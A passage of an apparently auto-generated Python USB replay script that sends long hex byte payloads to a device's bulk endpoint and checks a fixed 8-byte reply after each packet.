b\"\\x8E\\x22\\xCD\\x2B\\xB0\\x91\\x91\\x4D\\xA0\\x8B\\x88\\xAC\\xD7\\xAC\\x64\\xAC\"\n b\"\\x51\\xC2\\xDD\\x23\\x1B\\x0D\\x68\\xD1\\x1A\\xD0\\xC7\\xDA\\xE7\\x96\\x9B\\x9F\"\n b\"\\xCC\\x4E\\x0C\\x11\\x4A\\x3F\\x50\\xC2\\xB4\\xF7\\x0A\\xE4\\xE6\\x2D\\xC7\\x39\"\n b\"\\xCE\\xE8\\x8D\\xC5\\x9B\\x20\\x22\\x84\\xB1\\x9F\\x1D\\x08\\x6C\\xF7\\x4A\\x24\"\n b\"\\x91\\x40\\x77\\x5F\\xA2\\xAF\\x42\\x9B\\x08\\x2C\\xBE\\x72\")\n # Generated from packet 1299/1300\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1299/1300\")\n # Generated from packet 1301/1302\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4B\\xFF\\x09\\xC1\\x25\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\x3B\\xFF\\x0F\\x3C\\xF1\\xE9\\x62\"\n b\"\\xBC\\xC8\\x20\\x2C\\xC5\\x64\\x18\\x8E\\xCD\\xFD\\xE5\\x69\\xAC\\x4D\\x5B\\x1F\"\n b\"\\xDA\\xDC\\x5D\\xF7\\x75\\x7E\\x0B\\x41\\xC6\\xD5\\xE7\\xE3\\x0F\\xB1\\x05\\x05\"\n b\"\\x8B\\x26\\x7F\\xF0\\x8D\\xD4\\x5A\\xC0\\xF8\\x31\\x0C\\x5C\\x8D\\xF4\\x23\\xE4\"\n b\"\\xD5\\x62\\xB1\\x4F\\xA9\\xAA\\x6A\\xC2\\x69\\xBA\\xBA\\x34\\xC4\\x12\\x7E\\xB7\"\n b\"\\xF2\\x8E\\x9F\\xC8\\x03\\x36\\xA1\\x75\\xBC\\x8D\\xA2\\xD7\\x04\\x63\\x44\\xA1\"\n b\"\\x9F\\x65\\xA5\\xD8\\x15\\x17\\xB4\\xFB\\x28\\xCF\\xE3\\x9D\\x86\\x49\\xAC\\x68\"\n b\"\\xEE\\x90\\x1E\\x02\\xAD\\x66\\xE5\\x35\\x38\\xB9\\xDA\\xC8\\x64\\x31\\x5C\\x89\"\n b\"\\xE8\\x97\\x5D\\x94\\x7A\\x5D\\x32\\xC2\\xFA\\xBA\\x0F\\x94\\xE7\\x63\\x85\\xF8\"\n b\"\\x5C\\x05\\xE6\\x2D\\x59\\xF9\\x32\\xEB\\x42\\x4B\\xA7\\x3B\\xA8\\x44\\x42\\x54\"\n b\"\\xFA\\x50\\x59\\xFF\\xA9\\xC8\\x38\\x17\\x8F\\xE6\\x41\\x74\\x0B\\x13\\x17\\x74\"\n b\"\\xA5\\x3F\\x26\\x14\\x70\\xE0\\x0C\\xA8\\x5C\\x79\\x22\\x97\\xF8\\x74\\x8C\\x67\"\n b\"\\xC0\\x12\\xF3\\xD2\\x4D\\x8D\\x2D\\x83\\x32\\x10\\xD3\\x3B\\x05\\xC2\\xDC\\x5B\"\n b\"\\x86\\x8A\\x2B\\x1B\\x52\\xBD\\xE8\\x7B\\xB1\\x6B\\xE2\\xE9\\xC8\\x93\\x9A\\x1D\"\n b\"\\x84\\xAB\\xDD\\xEA\\xAB\\xA4\\x1D\\x68\\x23\\x06\\x4A\\x16\\x3C\\x49\\x62\\x0B\"\n b\"\\xE8\\x3C\\x00\\xA2\\x64\\x60\\x53\\xF6\\xD2\\xE3\\xC4\\x2A\\xE7\\x3C\\x6E\\xEF\"\n b\"\\x4E\\xAC\\x86\\xE2\\x97\\xE6\\xB5\\x72\\x59\\xBA\\x8B\\x33\")\n # Generated from packet 1303/1304\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1303/1304\")\n # Generated from packet 1305/1306\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE1\\xB4\\x3F\\x96\\x08\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xED\\x03\\x24\\x76\\x9E\\x38\\x2E\\x8A\"\n b\"\\x92\\x93\\x1D\\xED\\xE1\\xE9\\x00\\x83\\x3E\\x54\\x81\\xBC\\xDE\\xC3\\xB5\\x5D\"\n b\"\\x2A\\x09\\x97\\x4E\\x32\\x5B\\x1C\\x56\\x4F\\x4E\\x08\\x2D\\xEF\\x48\\x26\\x02\"\n b\"\\x39\\x2C\\x2E\\x1E\\x27\\xC7\\x35\\x66\\x01\\x82\\x0E\\x2B\\x11\\x40\\x56\\xD5\"\n b\"\\x4E\\x9A\\x62\\xF7\\x66\\xCA\\xFD\\x66\\x50\\x03\\x24\\x4E\\xFA\\xFF\\xD4\\x90\"\n b\"\\x6C\\x3B\\x98\\x81\\xD3\\xDF\\x69\\x51\\x60\\x01\\xA7\\xC1\\x31\\x7C\\xD2\\xA1\"\n b\"\\x04\\x07\\x96\\x2C\\xB6\\xD1\\x3E\\xA5\\x6C\\xDF\\x49\\xFF\\x65\\x56\\x5D\\x07\"\n b\"\\x07\\xBE\\xD0\\x86\\xC5\\x23\\x41\\x6F\\x1D\\x38\\xAC\\x5D\\xEC\\xB4\\x52\\xCF\"\n b\"\\x3F\\x51\\xE6\\x72\\x5C\\xBB\\x35\\xDC\\x2A\\x8E\\xBE\\x3F\\x12\\xB0\\xBE\\xF3\"\n b\"\\xCF\\xC2\\xB2\\xFB\\x66\\x84\\x08\\x1E\\x88\\xCE\\x4A\\x59\\xE6\\xA4\\x4E\\x88\"\n b\"\\x89\\xB3\\xE8\\x0B\\xC7\\xE8\\x5F\\xD9\\xC1\\xA0\\x0A\\xC3\\x7A\\xC9\\x1E\\x2C\"\n b\"\\x1E\\x3D\\x99\\xD6\\x00\\x7A\\x7B\\x42\\x19\\x2C\\xD1\\x9F\\xEE\\x95\\x99\\x03\"\n b\"\\xE5\\xA4\\x58\\xC5\\x8C\\xE7\\xE6\\x78\\x7D\\xC5\\x0A\\xF3\\x43\\xA0\\x74\\x55\"\n b\"\\x69\\x8A\\x39\\xE8\\x23\\x09\\x0F\\x94\\xAC\\x49\\x35\\xD1\\x36\\xF3\\xBB\\x25\"\n b\"\\x4F\\x60\\xC2\\xE6\\x3C\\x70\\xF6\\xD7\\x96\\x49\\x85\\xF9\\x7F\\xC8\\xC3\\xC1\"\n b\"\\xB9\\x84\\x21\\x63\\x33\\x58\\x61\\xDC\\x23\\xD9\\xCE\\x32\\xC4\\x27\\x58\\x45\"\n b\"\\xFB\\xA2\\x0F\\x46\\xFD\\x93\\x29\\x03\\x62\\x7E\\xD4\\x4B\")\n # Generated from packet 1307/1308\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1307/1308\")\n # Generated from packet 1309/1310\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF3\\x27\\x8B\\x3C\\x61\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7B\\x7A\\x88\\x39\\xD7\\x17\\x77\\x17\"\n b\"\\xC0\\x77\\xD5\\x0A\\xA6\\x43\\xFC\\x27\\xD3\\x10\\x6E\\x49\\xA8\\x77\\x4D\\x4E\"\n b\"\\xF8\\x6C\\xA6\\xDD\\x46\\xA0\\x02\\x3C\\xDE\\x0B\\x14\\xBD\\x21\\x9B\\xBA\\x2B\"\n b\"\\x09\\xC2\\x9A\\xB0\\x06\\x64\\xDE\\xFF\\x97\\xFC\\x0E\\x0C\\x05\\xF9\\x7F\\xA6\"\n b\"\\xE5\\xD5\\x7B\\xE1\\x10\\xDD\\x8B\\xA3\\x21\\x3F\\x7D\\xCA\\x62\\x54\\x23\\x11\"\n b\"\\x12\\xBF\\xA2\\x8D\\x3F\\x19\\x9F\\xA6\\x56\\x94\\xF1\\x22\\xB3\\xC8\\x46\\xF1\"\n b\"\\x3A\\x47\\x20\\xAF\\x4E\\xC0\\x65\\xEF\\xCE\\x08\\xFF\\x91\\x19\\x8F\\xB7\\x54\"\n b\"\\x81\\x10\\x18\\x73\\xED\\x90\\x97\\x30\\xE6\\x52\\x53\\x9B\\xCE\\x22\\xAD\\xF8\"\n b\"\\x25\\xD7\\x6E\\x72\\xDC\\xBA\\xC0\\x7C\\xD1\\x1F\\xD0\\x36\\xF7\\x16\\x54\\x6C\"\n b\"\\x4E\\x0C\\x77\\xDD\\x0D\\x11\\x5F\\xAA\\xD9\\x72\\xEC\\xA7\\xBA\\x90\\xDF\\x0B\"\n b\"\\x99\\x93\\x6C\\x83\\x10\\x95\\xC4\\xF1\\xA6\\xBB\\x99\\xED\\x5B\\x6F\\xFC\\xD0\"\n b\"\\x24\\xC2\\xAD\\x9A\\x15\\x32\\xE3\\xB8\\x0C\\xC3\\xC1\\x89\\xF1\\xD3\\x5E\\xA8\"\n b\"\\xDB\\x07\\x38\\x05\\xF1\\xE3\\x4A\\xAF\\xB6\\x18\\xA6\\xAC\\x50\\xD2\\xE3\\xA8\"\n b\"\\x60\\x6A\\xB3\\x9E\\xA3\\x24\\x85\\x2B\\xFD\\xAC\\x58\\x6D\\x8F\\x14\\x80\\x4D\"\n b\"\\x26\\x5B\\x8A\\x13\\xE0\\x0C\\x38\\xBB\\x0D\\xD0\\x80\\x40\\x32\\xC1\\xAB\\x5B\"\n b\"\\xB2\\x57\\xC5\\xB1\\x6B\\x39\\xDF\\x4D\\x38\\xFA\\xFA\\x09\\xFD\\x97\\x03\\x83\"\n b\"\\xD3\\x39\\x72\\x2C\\x50\\xEE\\x2A\\xD0\\x95\\xAD\\xD6\\x2A\")\n # Generated from packet 1311/1312\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1311/1312\")\n # Generated from packet 1313/1314\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEF\\xC9\\xE5\\x00\\x40\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\xB3\\xDE\\xE3\\x96\\x78\\x5D\\x43\"\n b\"\\x24\\x1C\\x01\\x32\\x66\\x21\\x13\\xE4\\x3F\\xCE\\x00\\x44\\x03\\x0B\\xD2\\x36\"\n b\"\\xBE\\x3D\\xCD\\x83\\xD6\\x07\\x27\\xC0\\x26\\x0E\\xEE\\xC9\\x3D\\x1C\\x3C\\xB8\"\n b\"\\x50\\x50\\x94\\x78\\x3D\\x31\\x24\\xF8\\x95\\x3B\\x9C\\x2E\\x36\\xEE\\xF3\\x2E\"\n b\"\\x54\\x16\\x05\\xB1\\xEC\\xDF\\xC2\\x44\\xC5\\x27\\x69\\x54\\xAB\\xCC\\x47\\x82\"\n b\"\\x9F\\xB7\\x82\\xB1\\x4E\\x76\\x28\\x34\\xDC\\xB6\\xD5\\xCE\\x1F\\xA4\\xB2\\xD0\"\n b\"\\xAF\\x4E\\xD7\\xFB\\x2D\\x42\\xCA\\xF3\\xBB\\x07\\xBD\\x9B\\xCD\\x96\\xDA\\x76\"\n b\"\\xD0\\x4F\\x60\\x5E\\x2C\\x4A\\x17\\x1B\\x8B\\xF9\\xBF\\x9D\\xED\\xB7\\xA7\\x38\"\n b\"\\xEE\\x34\\xF2\\x3D\\x6E\\xB3\\xE0\\x04\\x5E\\xC2\\x7B\\xB2\\xC3\\xED\\x0A\\xE6\"\n b\"\\x98\\x61\\xEE\\x84\\x1A\\x3D\\xA3\\x0C\\x27\\x17\\x35\\x9A\\x40\\x09\\xEF\\xA6\"\n b\"\\x0B\\x36\\x5B\\x68\\x10\\xB3\\x4E\\xEE\\xAE\\x12\\x6E\\x05\\x6D\\xA4\\x80\\x16\"\n b\"\\x97\\x17\\xE9\\x2D\\x25\\x35\\x97\\x64\\xCF\\x4C\\x82\\xA6\\x16\\xE7\\xCE\\x1D\"\n b\"\\xB2\\x9D\\xFB\\x8D\\xCE\\xEB\\x0D\\xB1\\x05\\xD6\\x9C\\xF3\\xE0\\xDC\\x21\\xBB\"\n b\"\\xB3\\x9D\\xC8\\x86\\xB4\\xB5\\x28\\xAA\\xE7\\x61\\x3D\\xD4\\xF7\\x03\\x09\\xD2\"\n b\"\\x7A\\x7F\\x74\\x03\\x72\\x6C\\x2B\\xAC\\x3C\\x3C\\xCB\\x03\\xE2\\xEF\\x9B\\x2A\"\n b\"\\x8C\\x98\\x0B\\x06\\xBB\\xC6\\xCE\\x67\\x17\\xCD\\xCB\\x47\\xB9\\xF8\\x84\\x78\"\n b\"\\xB9\\x97\\x73\\x47\\xC7\\x33\\x93\\xFF\\x71\\xE1\\xFD\\x80\")\n # Generated from packet 1315/1316\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1315/1316\")\n # Generated from packet 1317/1318\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\xA5\\x61\\xF5\\x14\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\x95\\xD6\\x48\\x3A\\xDD\\xE7\\x69\"\n b\"\\xB0\\x0A\\xC1\\x62\\xE6\\x1B\\x72\\x7A\\x33\\xDA\\xC3\\xDC\\x0A\\x52\\xEB\\x36\"\n b\"\\x56\\x92\\x7D\\xE2\\x1A\\x8F\\xA7\\xBB\\x73\\xCF\\x37\\x26\\x11\\x4D\\x3A\\x57\"\n b\"\\xCA\\xD2\\xE5\\x47\\x12\\xC6\\x8E\\x68\\xF2\\xAF\\x7D\\x35\\xBB\\xE9\\xF0\\xBF\"\n b\"\\x3F\\x05\\x16\\x67\\x52\\x92\\xCE\\x6B\\xB4\\x0A\\xF1\\x8B\\x6D\\xBB\\x00\\x65\"\n b\"\\x36\\x25\\x4C\\x6C\\xE6\\x9E\\xA4\\x88\\xB7\\x35\\x21\\x84\\x8A\\xC9\\x34\\x47\"\n b\"\\x9C\\xB2\\xC4\\x89\\xD6\\x11\\x15\\xBF\\x68\\xF2\\x72\\xAE\\xE8\\x98\\xDB\\xB4\"\n b\"\\x63\\x75\\x41\\xA8\\xF8\\xF7\\x3E\\x2B\\xDB\\xD2\\xA0\\x6B\\x80\\xBD\\x65\\x80\"\n b\"\\x4E\\x6A\\x5F\\x4C\\xD2\\x26\\x01\\x39\\x4B\\x34\\x78\\x45\\xD7\\xE1\\x17\\x78\"\n b\"\\xA9\\x25\\x66\\x8D\\x51\\xD3\\xF3\\x2A\\xED\\x61\\x75\\xC5\\x4D\\xB5\\xBF\\x73\"\n b\"\\xB1\\xC1\\xC1\\x66\\xC2\\xDC\\xA1\\xDB\\x8D\\x8C\\x6E\\x19\\x35\\xDF\\x0E\\x9B\"\n b\"\\xFC\\x1C\\xD9\\xA9\\xE5\\x78\\xF9\\x43\\x69\\xC7\\x14\\xA5\\xA3\\x47\\x58\\xE3\"\n b\"\\x89\\x45\\x31\\x44\\xA2\\xCD\\x7E\\xB1\\x99\\x4A\\x2F\\xD0\\xE3\\xE4\\x38\\xE2\"\n b\"\\xAF\\xBD\\x51\\xCA\\x2D\\x7A\\x39\\x40\\x57\\x1A\\x97\\xB9\\x15\\xDD\\x14\\x38\"\n b\"\\x2A\\x87\\x07\\xDF\\x29\\x82\\xE4\\x66\\x43\\x72\\xA8\\x6E\\x93\\xA4\\xC8\\x6F\"\n b\"\\x86\\x06\\x4D\\x7F\\x05\\xAD\\xFE\\x97\\xBC\\x05\\x6A\\x35\\x48\\xA5\\xD4\\x62\"\n b\"\\x61\\xE6\\x8C\\x81\\xDB\\x3B\\x1A\\x14\\xAD\\x02\\xEE\\xAA\")\n # Generated from packet 1319/1320\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1319/1320\")\n # Generated from packet 1321/1322\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF6\\xF9\\x51\\x0E\\xB1\\x53\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC4\\x15\\x07\\xFF\\xE0\\xBF\\x86\\xAD\"\n b\"\\x23\\x66\\xA0\\xFD\\x41\\xF9\\x99\\x0B\\x56\\x6D\\x30\\x9B\\x4E\\x53\\x60\\x50\"\n b\"\\x48\\xE9\\xEB\\x96\\xF6\\xDC\\x7E\\xB5\\x60\\xF4\\x05\\xA4\\xF5\\xCB\\xB1\\xA7\"\n b\"\\x3E\\x6F\\x4D\\xD9\\xA4\\xAC\\x39\\x30\\x94\\x8C\\xE3\\xBD\\xF4\\x8B\\xE6\\x11\"\n b\"\\x40\\xFF\\xF4\\xF1\\x6D\\xF2\\x51\\x0A\\x7D\\xAF\\x2D\\xFD\\x04\\x78\\x00\\xE0\"\n b\"\\x23\\x56\\xC9\\x09\\xEC\\x6D\\x55\\x22\\x1E\\xA4\\x11\\xFB\\xCD\\xAD\\xE6\\x82\"\n b\"\\xD8\\x4A\\x4D\\x7C\\x47\\x4E\\x10\\x01\\x9D\\x2D\\x4F\\x05\\xE1\\x9E\\x22\\x10\"\n b\"\\x1C\\x15\\x9B\\x72\\x85\\xDC\\x97\\x18\\x1C\\x67\\xF8\\x6F\\x46\\x77\\x48\\x71\"\n b\"\\xB0\\xC4\\xF5\\x97\\x05\\x7E\\x13\\x5A\\x58\\x61\\x56\\xC1\\xD0\\xA7\\xCE\\x4B\"\n b\"\\x40\\x13\\xFD\\x7B\\x49\\x81\\x99\\x8F\\x59\\xBE\\xA7\\xCC\\x22\\x80\\xF5\\xF4\"\n b\"\\x90\\x5E\\x01\\xE3\\xB3\\xF7\\x28\\xDF\\x9B\\x01\\x6A\\xD4\\x22\\x6E\\x90\\x5D\"\n b\"\\xC5\\x63\\x15\\x9E\\xE0\\x6A\\x86\\x40\\x81\\x22\\x7C\\x29\\x07\\xA7\\x64\\x8B\"\n b\"\\x6B\\x6D\\xB0\\xDF\\x76\\x7A\\x35\\x04\\xD3\\xCF\\xAE\\x6B\\xB8\\xC7\\x19\\x95\"\n b\"\\x00\\xB3\\xD2\\x68\\x10\\xB2\\xA2\\x0A\\x67\\x80\\xBF\\xC5\\x58\\x47\\xC9\\x49\"\n b\"\\xB7\\x97\\x31\\x02\\xF6\\x35\\x0B\\x9C\\x43\\x68\\x73\\x51\\x31\\x21\\x17\\x1E\"\n b\"\\xCC\\xE7\\xB0\\x3F\\x21\\x0E\\xD6\\x81\\xF6\\x3D\\xA1\\xF4\\x34\\x7B\\x11\\x82\"\n b\"\\x91\\x67\\x8F\\xF4\\xAF\\xAA\\xC0\\x64\\xCF\\xF8\\xCC\\xED\")\n # Generated from packet 1323/1324\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1323/1324\")\n # Generated from packet 1325/1326\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x48\\x4D\\xD5\\x0C\\x3B\\x29\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\x10\\x4F\\x8C\\x19\\xF0\\xEF\\xA6\"\n b\"\\x4B\\x72\\x2E\\x9D\\xE6\\xCB\\x47\\x90\\x16\\x29\\x88\\xEE\\xC2\\x06\\xE1\\x5E\"\n b\"\\x05\\xAB\\x3E\\x45\\x3D\\x39\\x69\\x7F\\x64\\xB9\\x56\\xE1\\x11\\x3E\\x0B\\x77\"\n b\"\\xCA\\x40\\x15\\x81\\xA1\\x48\\xB2\\x22\\x18\\x91\\xA7\\xCC\\x46\\xEB\\x2D\\x7E\"\n b\"\\x73\\x69\\x7D\\x82\\x9F\\xA4\\x3E\\xF1\\x81\\x72\\x9E\\x43\\xE2\\x54\\xC2\\xD4\"\n b\"\\x48\\x9E\\x86\\xE0\\x18\\x82\\x7A\\xD0\\xC0\\x6D\\x7A\\x09\\x3A\\x42\\xC4\\x77\"\n b\"\\x68\\xAE\\xD4\\x2F\\x7F\\x81\\x38\\x0C\\xA9\\x0C\\x1C\\x07\\x9B\\x6C\\x6B\\x69\"\n b\"\\xC5\\xB9\\x64\\x4A\\x42\\xFD\\x84\\x52\\x72\\x53\\x19\\x1D\\xE9\\x90\\xD0\\x57\"\n b\"\\xE0\\x99\\xDD\\xBF\\xF3\\x76\\x77\\x1D\\x4F\\x9F\\x6F\\xF0\\x8A\\xBA\\x63\\x06\"\n b\"\\x9D\\xAA\\xB0\\x5C\\x2C\\x58\\x00\\xA9\\x5A\\x68\\x60\\xC3\\x63\\x84\\x05\\x80\"\n b\"\\x34\\xBF\\x48\\x8F\\x0A\\x72\\x5B\\xBB\\xFA\\x26\\xA5\\xF3\\x29\\x54\\x1E\\xF5\"\n b\"\\xFE\\x6C\\x84\\x2D\\x46\\x44\\xB0\\xD5\\x1E\\xA3\\x9D\\x52\\x16\\xBF\\x30\\xD7\"\n b\"\\x33\\xD8\\xBA\\x51\\xEB\\xB6\\x5C\\x44\\x70\\x44\\x84\\xA2\\xAB\\xC3\\xA0\\xD2\"\n b\"\\x19\\x37\\xDB\\x66\\xE5\\x6B\\xA4\\xF5\\x9A\\x81\\x15\\xBA\\xE3\\xDC\\x6C\\x4B\"\n b\"\\x88\\x62\\xE4\\x7A\\xE4\\x6A\\x13\\x03\\xC5\\xE7\\x14\\xB3\\xC2\\x7E\\x1A\\xDE\"\n b\"\\xBF\\x8E\\x87\\x96\\x08\\x8D\\x10\\xA2\\xBF\\xB7\\x41\\x26\\xFE\\x75\\x6A\\x3A\"\n b\"\\x8F\\xA0\\xC3\\xE1\\x98\\x7F\\x70\\x12\\x26\\x5F\\x25\\x84\")\n # Generated from packet 1327/1328\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1327/1328\")\n # Generated from packet 1329/1330\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\x7F\\xE1\\x33\\x6A\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x16\\x1D\\x19\\xCC\\x91\\x50\\x42\"\n b\"\\x0A\\xE7\\x68\\x2F\\xCA\\xF0\\x50\\x7E\\x2C\\xDF\\x6B\\xF6\\x0C\\xD5\\x95\\xA5\"\n b\"\\xCE\\x8B\\x13\\xF6\\x37\\x3C\\xF4\\x7F\\xE7\\x55\\xDE\\x0F\\x5F\\x2D\\xDD\\x07\"\n b\"\\x99\\x49\\x46\\xF2\\x5F\\xB2\\x2C\\x25\\x8E\\xDF\\x6E\\x6E\\x7A\\x5C\\x9A\\x96\"\n b\"\\x8E\\xC9\\xDF\\x52\\x24\\x72\\x0F\\x2B\\xE8\\x26\\x71\\x73\\xCF\\xE2\\xFA\\xA8\"\n b\"\\xC3\\x18\\x50\\x65\\xA2\\x9A\\x94\\x36\\x1E\\xF5\\xB0\\x05\\x33\\x81\\x3D\\xB8\"\n b\"\\x25\\xA3\\x10\\xBE\\x37\\x68\\xDF\\x35\\x64\\xAC\\xD1\\x74\\xBA\\x73\\x55\\x26\"\n b\"\\x2D\\x8E\\xDF\\xBD\\x0D\\x37\\xF3\\xA0\\xAA\\x26\\x7D\\x8F\\x06\\xB8\\x6A\\x3D\"\n b\"\\xE4\\x36\\xB4\\x56\\x99\\x82\\xA0\\x3C\\x2F\\x4E\\xF5\\x35\\x32\\x11\\x7D\\xE3\"\n b\"\\xB1\\x6D\\x23\\x37\\xA5\\xDD\\xE6\\xD0\\xF6\\x1A\\x3D\\x9F\\x71\\x63\\xD3\\xAC\"\n b\"\\x68\\xD2\\x32\\x10\\x9A\\x18\\xCE\\x74\\x45\\x51\\x41\\xCA\\x60\\x4C\\xD5\\xE8\"\n b\"\\xF2\\x83\\x52\\x83\\xE1\\xA7\\x9C\\x89\\x04\\xEF\\xB8\\xA6\\x3A\\xBB\\xC8\\x73\"\n b\"\\x10\\x03\\xE6\\x5D\\xF3\\x27\\xF7\\x5B\\x9F\\x1D\\xB0\\x17\\x6F\\x36\\xA1\\x38\"\n b\"\\xA9\\xD3\\xA3\\x7D\\x3A\\xFE\\x96\\x73\\x0F\\x7E\\xAF\\x69\\xDB\\x82\\xC3\\xE9\"\n b\"\\xD2\\xD0\\x5B\\x21\\x75\\x2D\\x33\\x50\\x3A\\xFC\\x90\\x14\\xF7\\x6B\\xD0\\x20\"\n b\"\\x47\\x26\\x44\\x22\\x92\\xC0\\x0C\\xEF\\xBD\\x6F\\x49\\x16\\x38\\x7D\\xD5\\x21\"\n b\"\\x67\\x5D\\x42\\xA7\\xFD\\x58\\xE8\\xD9\\x61\\x5B\\x71\\x97\")\n # Generated from packet 1331/1332\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1331/1332\")\n # Generated from packet 1333/1334\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB9\\x01\\xF1\\xCA\\xA5\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA8\\x8A\\xCE\\x0F\\xC8\\xCE\\x4B\\x19\"\n b\"\\xD2\\x12\\xC0\\xBA\\x60\\xCE\\x5B\\x83\\x63\\xA9\\x96\\x78\\x68\\xB6\\x22\\x06\"\n b\"\\xCD\\xA9\\xAB\\xB4\\x08\\x81\\x13\\x6E\\xEB\\x4E\\x0A\\xA9\\xFB\\xB7\\x81\\xF5\"\n b\"\\xBC\\xBC\\x6D\\xF7\\x52\\x26\\x85\\x2C\\xD1\\x6A\\xAD\\x63\\xD7\\xB2\\x4D\\x10\"\n b\"\\x7E\\xB8\\x9D\\xAC\\x46\\x29\\x53\\x7B\\x10\\x2D\\x19\\xA2\\xDC\\x9E\\xCE\\x9D\"\n b\"\\x4D\\xF8\\xB2\\xAB\\x62\\xF9\\x16\\x08\\x86\\x21\\x1B\\xEC\\x7D\\xAE\\x16\\x51\"\n b\"\\x82\\xAB\\x12\\xC0\\x4C\\x7E\\xCB\\xFF\\x22\\x53\\xB0\\xB7\\x23\\x2E\\x0B\\xA4\"\n b\"\\xDB\\xF1\\x3C\\x67\\x42\\xF0\\x10\\x01\\xE8\\x51\\x8A\\xBC\\x14\\xD5\\x9A\\x60\"\n b\"\\x39\\x1A\\x12\\x02\\x63\\x9E\\xD6\\xE9\\xC3\\xD4\\x4A\\x18\\xA7\\x82\\x8F\\xA5\"\n b\"\\x7A\\xA3\\xDF\\x83\\xF6\\xEF\\x19\\x2E\\xEE\\xB3\\x78\\xA2\\x07\\xC9\\x10\\xA8\"\n b\"\\xD1\\x65\\xC2\\xF9\\xA8\\xC5\\x0F\\x07\\xB2\\xF7\\xD6\\x9D\\xD3\\x23\\x68\\x7C\"\n b\"\\x3A\\x29\\x4F\\xFD\\xD4\\xA4\\xC5\\xE1\\x48\\x3F\\xE4\\xA5\\xD6\\x5D\\xDA\\xAF\"\n b\"\\xFB\\x2D\\xA8\\x61\\x4A\\xA8\\x00\\x3C\\xEE\\x1F\\xCB\\x77\\xE0\\x8B\\x32\\x81\"\n b\"\\x22\\x95\\xA2\\x13\\x24\\x08\\xD4\\x2F\\xE3\\xCD\\x8B\\x56\\x01\\x5F\\x85\\xE5\"\n b\"\\xDA\\xA2\\x36\\x81\\xDB\\x0E\\x45\\xBB\\x45\\x12\\xF3\\xAD\\x8B\\xB5\\x71\\xC5\"\n b\"\\x5D\\x81\\x92\\xE0\\x3B\\x19\\x6D\\xF4\\x58\\xE0\\x0A\\x41\\x55\\x58\\x64\\xF0\"\n b\"\\x01\\x3A\\xEC\\xAB\\x4D\\xE5\\x58\\xE4\\xA8\\x9F\\x5E\\x8A\")\n # Generated from packet 1335/1336\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1335/1336\")\n # Generated from packet 1337/1338\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x23\\x26\\xE7\\x6D\\x11\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6F\\x4E\\xE7\\x57\\x69\\xB3\\x4A\\x1E\"\n b\"\\xD8\\x16\\x17\\xDD\\xFB\\xFC\\x50\\x2C\\x92\\x08\\x72\\x24\\xB7\\x95\\x05\\xBA\"\n b\"\\x38\\x4E\\x54\\x90\\xDF\\x59\\xC2\\x44\\xE9\\x2F\\x63\\x25\\xF8\\x3F\\xD5\\xF1\"\n b\"\\xAE\\xE2\\x3D\\x57\\x74\\x00\\xBC\\x08\\x12\\xC3\\x63\\x8A\\x6F\\x6B\\xEB\\x5E\"\n b\"\\x74\\x0E\\x05\\xE6\\x7D\\x8D\\xA3\\xF7\\x43\\x80\\x18\\xA0\\x0C\\xEB\\x18\\x21\"\n b\"\\xA3\\xC5\\x2A\\x87\\xAA\\xC2\\x54\\xB8\\xD6\\x57\\x33\\x02\\xE0\\x6C\\x31\\xB0\"\n 